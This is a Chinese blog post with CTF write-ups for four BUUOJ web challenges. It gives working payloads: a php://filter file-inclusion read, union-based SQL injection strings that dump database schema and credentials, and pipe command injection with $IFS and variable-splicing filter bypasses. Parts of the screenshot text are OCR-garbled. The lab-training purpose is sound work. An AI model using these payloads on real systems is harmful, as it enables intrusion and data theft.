# 2021-06-03 CTF Webbuuoj day12



**17** 篇文章 0 订阅 订阅专栏

## CTF Web buu oj day12

[极客大挑战 2019]Secret File

类型

解题

[极客大挑战 2019]LoveSQL

类型

解题

[ACTF2020 新生赛]Exec

类型

解题

[GXYCTF2019]Ping Ping Ping

类型

解题

# [极客大挑战 2019]Secret File

## 类型

php、代码审计

## 解题

复习题,同day11的[ACTF2020新生赛]Include。





右键查看源代码,发现下面有一个链接,颜色都是black所以看不到

DOCT</th <th>TYPE html&gt;</th>	TYPE html>
<html></html>	
<style #maste po le bo te</style 	<pre>e type="text/css" &gt; er { for { for instance of the second definition of the second definiti</pre>
	<head></head>
	<pre><body style="background-color:black;"> <br< th=""></br<></body></pre>
	<hl <mark="">style="font-family:verdana;color:red;text-align:center;"&gt;你想知道蒋璐源的秘密么?</hl>
	<pre>想要的话可以给你,去找吧!把一切都放在那里了!  <a href='./Archive_room.php"' id="master" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a> <a href='./Archive_room.php"' id="master" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a> <a href='./Archive_room.php"' id="master" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a> <a ,width:="" 99%;"="" style="position: absolute;bottom: o"></a>       </pre>
<th>1&gt; https://blog.csdn.net/LiNa_IInA_74</th>	1> https://blog.csdn.net/LiNa_IInA_74

访问Archive\_room.php





只能用burpsuite抓包试试了,抓包时候发现302跳转链接,注释了一个secr3t.php

Request	Response				
Pretty Raw \n Actions ¥	Pretty Raw Render \n Actions V				
<pre>1 GET /action.php HTTP/1.1</pre>	<pre>1 HTTP/1.1 302 Found</pre>				
2 Host: c5df8f67-8682-44bf-9c70-6d5ad99451e6.node3.buuoj.cn	2 Server: openresty				
3 Upgrade-Insecure-Requests: 1	3 Date: Thu, 03 Jun 2021 04:48:37 GMT				
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)	4 Content-Type: text/html; charset=UTF-8				
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212	5 Connection: close				
Safari/537.36	6 Location: end.php				
5 Accent:	7 X-Powered=By: PHP/7 3 11				
<pre>text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image</pre>	8 Content-Length: 63				
/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9	9				
6 Referer:	10 html				
<pre>http://c5df8f67-8682-44bf-9c70-6d5ad99451e6.node3.buuoj.cn/Archive_roo</pre>	11				
m.php	12 <html></html>				
7 Accept-Encoding: gzip, deflate	13 </td				
8 Accept-Language: zh-CN, zh;q=0.9	14 secr3t.php				
9 Connection: close	15>				
10	16 <b>√^html</b> ?ittps://blog.csdn.net/LiNa_llnA_741				

#### 直接访问secr3t.php,看到php代码

<pre>1 GET /end.php HTTP/1.1 2 Host: o5df8f67-8682-44bf-9c70-6d5ad99451e6.node3.buuoj.cn 3 Ubgrade-Inscoure-Requests: 1 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 5 Accept: text/html.application/xhtml+xml,application/xml;q=0.9, image/avif, image /webp, image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.9 6 Referer: http://c5df8f67-8682-44bf-9c70-6d5ad99451e6.node3.buuoj.cn/Archive_roo m.php 7 Accept-Encoding: gzip, deflate 8 Accept-Language: zh-CN,zh;q=0.9 9 Connection: close 11 </pre>	<pre><html>     <ti><til>&gt;secret         <meta charset="utf-8"/>         <meta charset="utf-8"/></til></ti></html></pre>

看到文件包含,和flag位于flag.php,过滤了.../目录遍历、tp、input、data,正好能用day11的filter,构造payload: secr3t.php? file=php://filter/read=convert.base64-encode/resource=flag.php

拿到base64编码flag.php



tps://blog.csdn.net/LiNa\_IInA\_741

#### 解码得到flag: flag{62aab2e4-1a85-4138-8565-d7574359d6c7}

<b>编码源格式:</b> ◎文本 〇Hex <b>解码结果</b> :	自动检测	中文编码:	UTF-8 V	编码	解码
<pre></pre>	t-align:center;"	>			•
php</td <td></td> <th></th> <td></td> <th></th> <td></td>					
echo "我就在这里";					
\$flag = <mark>'flag{62aab2e4-1a85-4138-8565-d7574359d</mark> 6	ic7} <mark>';</mark>				
<pre>\$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'</pre>					
?>					
			当前编码:	[Utf8]	
			数据长度:	653 Bytes	
			插件数:16	3, 耗时:2r	ns_741

# [极客大挑战 2019]LoveSQL

类型

SQL注入

解题

1. 按day11 easysql万能密码注入不是flag,回显一串数字,按题目应该是flag换到了别的地方。



- 2. 普通注入方法即可:测试有多少字段->爆库->爆表->爆列->数据
- 3. 测试多少字段

' order by 3#

1' union select 1,2,3#

4. 爆库

' union select 1,2,group\_concat(schema\_name) from information\_schema.schemata#

1' union select 1,2,database()#

5. 爆表

L' union select 1,2,group\_concat(table\_name) from information\_schema.tables where table\_schema=database()#



BO TO WORK, GET MARRIED HAVE SOME KIDS, PAY YOUR TAXES PAY YOUR BILLS, WATCH YOUR TV FOLLOW FASHION, Hello 2! NORMAL OBEY THYOT PASSWORD IS 'GEEKUSER, IOVE 19591' OBEY THYOT PASSWORD IS 'GEEKUSER, IOVE 19591' AND REPEAT AFTER ME: MARRIED FOR FEE

6. 爆字段

1' union select 1,2,group\_concat(column\_name) from information\_schema.columns where table\_schema=database() and table\_name='l0ve1ysq1'#



# Login Success!



显示不下,右键查看页面源代码,看到flag: flag{a5f85ac6-5976-4804-97de-be070e8667cb}

ł	免行 🗹
	html
!	<html></html>
ł	<pre><head></head></pre>
	<meta charset="utf-8"/>
i	<title>check</title>
i.	
	<pre>{div style="position: absolute;bottom: 0;width: 99%;"&gt; Syclover @ cl4y</pre>
	<pre><body background="./image/background.jpg" style="background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;"></body></pre>
	<h1 style="font-family:verdana;color:red;text-align:center;">Login Success!</h1> 
ł.	style='font-family:arial;color:#ffffff;font-size:30px;left:650px;position:absolute;'>Hello 2!
	<ty style="font-family:arial;color:#ffffff;font-size:30px;left:650px;position:absolute;">Your password is</ty>
	'1c14ywo_tai_nan_1e,2g1zjing1zjin_wants_a_gir1friend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m311inux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he
	,7fouc5c14y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5
	di_8_kuai_fu_ji, 151eixiaoSyc_san_da_hacker, 16f1agf1ag (a5f85ac6-5976-4804-97de-be070e8667cb)
i.	
i.	https://blog.csdn.net/LiNa_IInA_741
1	

# [ACTF2020 新生赛]Exec

类型

php、代码审计

解题

1. ping命令先输入127.0.0.1看到ping命令执行,于是想到命令执行

**PING** 请输入需要ping的地址

PING

#### 2. 127.0.0.1 | whoami 执行结果www-data

# PING

请输入需要ping的地址

PING

www-data

ttps://blog.csdn.net/LiNa\_IInA\_74

#### 3. 127.0.0.1 | 1s, 看到index.php



4. 127.0.0.1 | cat index.php, 然后右键查看源代码看到system()函数,执行外部程序,并且显示输出

```
</head>
<body>
<h1>PING</h1>
<form class="form-inline" method="post">
   <div class="input-group">
       <input style="width:280px;" id="target" type="text" class="form-control" pl
   </div>
   \langle br \rangle
   \langle br / \rangle
   </form>
<br />
<?php
if (isset($_POST['target'])) {
   system("ping -c 3 ".$_POST['target']);
\mathbf{?}
</body>
</html></body>
Z/h+m1S
```

#### 5. 127.0.0.1 | ls ../

html localhost

#### 127.0.0.1 | ls ../../

cache	
empty	
lib	
local	
lock	
log	
mail	
opt	
run	
spool	
tmp	
WWW	

#### 127.0.0.1 | ls ../../../

bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

### 127.0.0.1 | cat ../../.flag 得到flag: flag{c337bf77-d054-4cb6-acb8-2d09ac4220d1}

# PING

请输入需要ping的地址

PING

flag{c337bf77-d054-4cb6-acb8-2d09ac4220d1}

# [GXYCTF2019]Ping Ping Ping

类型

php、代码审计

### 解题

1. 打开是?/ip=, 输入127.0.0.1返回ping命令执行结果, 判断可以命令执行

 $\leftarrow$  $\rightarrow$ C ▲ 不安全 | 1.020,400,1002,42.4 0.000,55.57-00107-6 1-2 h /?ip=127.0.0.1

## /?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes

#### 2. ?ip=127.0.0.1|ls



#### /?ip=

flag.php index.php

#### 3.

访问flag.php

← → C ▲ 不安全 | 2a630d89-1063-43af-8a00-55f7e06107af.node3.buuoj.cn/flag.php

https://blog.csdn.net/LiNa\_IInA\_741

← → C ▲ 不安全 | 2a630d89-1063-43af-8a00-55f7e06107af.node3.buuoj.cn/?ip=127.0.0.1 | cat%20flag.php

#### /?ip= fxck your space!

4. \$IFS(Internal Field Separator,内部字段分隔符),默认是空格,可以用它替代空格;"包裹命令内联执行,即用被包裹 命令输出结果当作输入去执行

?/ip=127.0.0.1|cat\$IFS`ls`

### /?ip=

```
/?ip=
|\' |\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)) {
    echo preg_match("/\&|\/|?|\*|\<|[\x {00} -\x {20}]|\>|\' |\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
} else if(preg_match("//", $ip)) {
    die("fxck your space!");
} else if(preg_match("/bash/", $ip)) {
    die("fxck your bash!");
} else if(preg_match("/.*f.*1.*a.*g.*/", $ip)) {
    die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo"
?>
https://blog.csch.net/LiNa_UnA_741
```

右键查看源代码就发现flag: flag{bdc03ce7-f239-4914-9235-cb1a6c1b674b},因为flag.php定义了变量flag,代码解析后没有任何显示。

#### 5. 或者用变量替换方法

?/ip=127.0.0.1;a=g;cat\$IFS\$1fla\$a.php

```
← → C ▲ 不安全 | 2a630d89-1063-43af-8a00-55f7e06107af.node3.buuoj.cn/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
```

## /?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes

🕞 🔂 🛛 Elements Console	Sources	Network	Performance	Memory	Application	Security	Lighthouse
Page Filesystem »	💽 ?i	p=127.0.0.1;a.	IFS\$1fla\$a.php	×			
<ul> <li>top</li> <li>2a630d89-1063-43af-8a00-55f76</li> <li>2ia 427.0044</li> </ul>	1 2 3	/?ip= <pre>PING 1 <?php</th><th>27.0.0.1 (127.</th><th>.0.0.1): 56</th><th>data bytes</th><th></th><th></th></pre>	27.0.0.1 (127.	.0.0.1): 56	data bytes		
<pre>/ip=127.0.0.1;a=g;cat\$IFS\$1fla</pre>	2 4 5	\$flag = "fl ?>	ag{bdc03ce7-f2	239-4914-92	35-cb1a6c1b67	74b}";	

(这里还是不理解这个\$1, shell脚本第一个参数, 加上和不加\$1就直接导致能否看到源代码flag)



<u>创作打卡挑战赛</u> 赢取流量/现金/CSDN周边激励大奖